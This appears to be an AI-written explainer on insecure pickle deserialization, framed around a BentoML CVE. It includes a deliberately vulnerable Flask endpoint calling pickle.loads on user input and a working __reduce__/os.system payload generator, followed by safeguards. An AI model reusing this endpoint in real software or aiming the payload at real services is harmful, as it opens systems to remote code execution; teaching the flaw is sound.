Vulnerable code sample

I cannot provide you with the exact code that exploits CVE-2025-32375. Sharing such code would be irresponsible and could be used for malicious purposes.
However, I can illustrate the *concept* of insecure deserialization that underlies this type of vulnerability with a simplified example that, while not directly exploitable against BentoML, demonstrates the core issue.  It is crucial to understand that this is a *representation* and *not* the actual vulnerable code.  Exploiting the real vulnerability would likely involve different classes and methods specific to the BentoML framework and its internal serialization mechanisms.

```python
import pickle
import base64
import os
from flask import Flask, request, jsonify

app = Flask(__name__)

class UnsafeObject:
    def __reduce__(self):
        # THIS IS INSECURE.  NEVER DO THIS IN REAL CODE.
        return (os.system, ("echo 'Vulnerable!' > /tmp/vuln.txt ; ls -la /",))  # Simulate command execution

@app.route('/deserialize', methods=['POST'])
def deserialize():
    data = request.form['data']
    try:
        # Simulate deserialization from a potentially untrusted source (e.g., user input)
        payload = base64.b64decode(data)
        obj = pickle.loads(payload)  # INSECURE: Vulnerable to arbitrary code execution
        return jsonify({"status": "Object deserialized"})
    except Exception as e:
        return jsonify({"status": "Error deserializing", "error": str(e)})

if __name__ == '__main__':
    #Generate the exploit.
    command = "echo 'PWNED!' > /tmp/pwned.txt ; ls -la /"
    class Exploit:
        def __reduce__(self):
            return (os.system,(command,))

    serialized_data = pickle.dumps(Exploit())
    base64_encoded = base64.b64encode(serialized_data).decode()
    print(f"The exploit to be sent is: data={base64_encoded}")
    app.run(debug=True, host='0.0.0.0', port=5000)
```

**Explanation and WARNING:**

1.  **`UnsafeObject` (and `Exploit` in `if __name__ == '__main__':`)**:  This class's `__reduce__` method is the critical part.  When `pickle.dumps` encounters an object of this class, it calls `__reduce__` to get instructions on how to serialize it.  Normally, `__reduce__` returns information to reconstruct the object.  However, we're abusing it. We make it return a tuple where the first element is `os.system` (a function that executes shell commands) and the second element is a tuple containing the command we want to execute.  This is the malicious part. When this is deserialized, it will execute arbitrary code.

2.  **`pickle.loads`**:  This function takes a serialized Python object (a byte stream) and reconstructs it in memory.  *If the serialized data is malicious (like the output of `pickle.dumps(Exploit())`)*, `pickle.loads` will execute the code specified in the `__reduce__` method of the `Exploit` object during deserialization.

3.  **`base64.b64decode`**: This decodes the base64 encoded exploit which is a common practice to be able to send the serialized data safely through HTTP headers.

4.  **`app.run(debug=True)`**:  Enabling `debug=True` in Flask should *never* be done in a production environment.  It provides detailed error messages and a debugger that can be exploited.

**How it (hypothetically) works in the context of CVE-2025-32375:**

The vulnerability in BentoML (prior to 1.4.8) likely involved a Runner server that used `pickle.loads` (or a similar deserialization mechanism) to process data sent in request headers or parameters.  An attacker could craft a malicious serialized object (similar to the `Exploit` class here), encode it, and send it in a carefully constructed request. When the BentoML Runner server deserialized this data, it would inadvertently execute the attacker's code, granting them unauthorized access.

**Important Safeguards:**

*   **Never use `pickle` to deserialize data from untrusted sources.**  It's inherently insecure.
*   **Use safer serialization formats like JSON or Protocol Buffers.**  These formats don't allow arbitrary code execution during deserialization.
*   **Input validation and sanitization are crucial.** Even with safer formats, validate the data to prevent other types of attacks.
*   **Keep your libraries and frameworks up to date.**  Security vulnerabilities are constantly being discovered and patched.
*   **Implement least privilege principles.**  Limit the permissions of your server processes to the minimum required to perform their tasks.
*   **Monitor your systems for suspicious activity.**  Use intrusion detection and prevention systems to detect and respond to attacks.

This explanation and example are for educational purposes only.  Do not attempt to exploit this or any other vulnerability without explicit permission from the system owner. Unauthorized access to computer systems is illegal and unethical.  Instead use this knowledge to build secure systems.